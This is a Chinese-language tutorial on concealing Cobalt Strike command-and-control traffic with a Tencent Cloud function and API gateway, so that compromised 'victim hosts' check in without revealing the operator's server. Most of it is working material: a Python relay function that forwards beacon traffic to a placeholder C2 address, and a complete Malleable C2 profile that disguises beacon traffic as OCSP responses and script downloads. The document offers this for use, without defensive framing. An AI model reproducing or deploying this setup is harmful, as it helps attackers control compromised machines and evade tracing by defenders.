Cobaltstrike云函数隐匿

Cobaltstrike云函数隐匿

前言

Cobaltstrike隐匿技术,一直是我比较在意的一个点。之前研究过域前置技术,但是先做由于各大云服务器厂商的一些策略,实行起来逐渐困难。今天记录一下如何使用腾讯云进行云函数隐匿。

正文

首先创建一个云函数,创建方式选择自定义创建即可

然后进入函数,选择触发管理,创建触发器,触发方式为API网关

随后点击API服务名,进入API服务,选择编辑,将配置改成如下选项:

立即发布即可,但请在API基本信息这里关注默认访问地址,在之后的设置中会用到

随后返回云函数管理,选择修改函数代码,将内容改成如下即可

# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    response = {}
    path = None
    headers = None
    try:
        C2='http://IP:PORT'
        if 'path' in event.keys():
            path=event['path']
        if 'headers' in event.keys():    
            headers=event['headers']
        if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' :
            resp=requests.get(C2+path,headers=headers,verify=False) 
        else:
            resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
            print(resp.headers)
            print(resp.content)
        response={
            "isBase64Encoded": True,
            "statusCode": resp.status_code,
            "headers": dict(resp.headers),
            "body": str(base64.b64encode(resp.content))[2:-1]
        }
    except Exception as e:
        print(e)
    finally:
        return response

部署发布即可,随后在服务器的Cobaltstrike目录下,新建cloud.profile文件，内容如下

set sleeptime "5000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0";

http-get {

    set uri "/api/x";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "nginx";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/y";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

随后打开Cobaltstrike，创建监听器,HTTP HOST为之前记录的API网关地址,注意是80端口的那个。

随后受害主机正常上线,但是已经经历了云函数隐匿,很难被溯源到真实地址。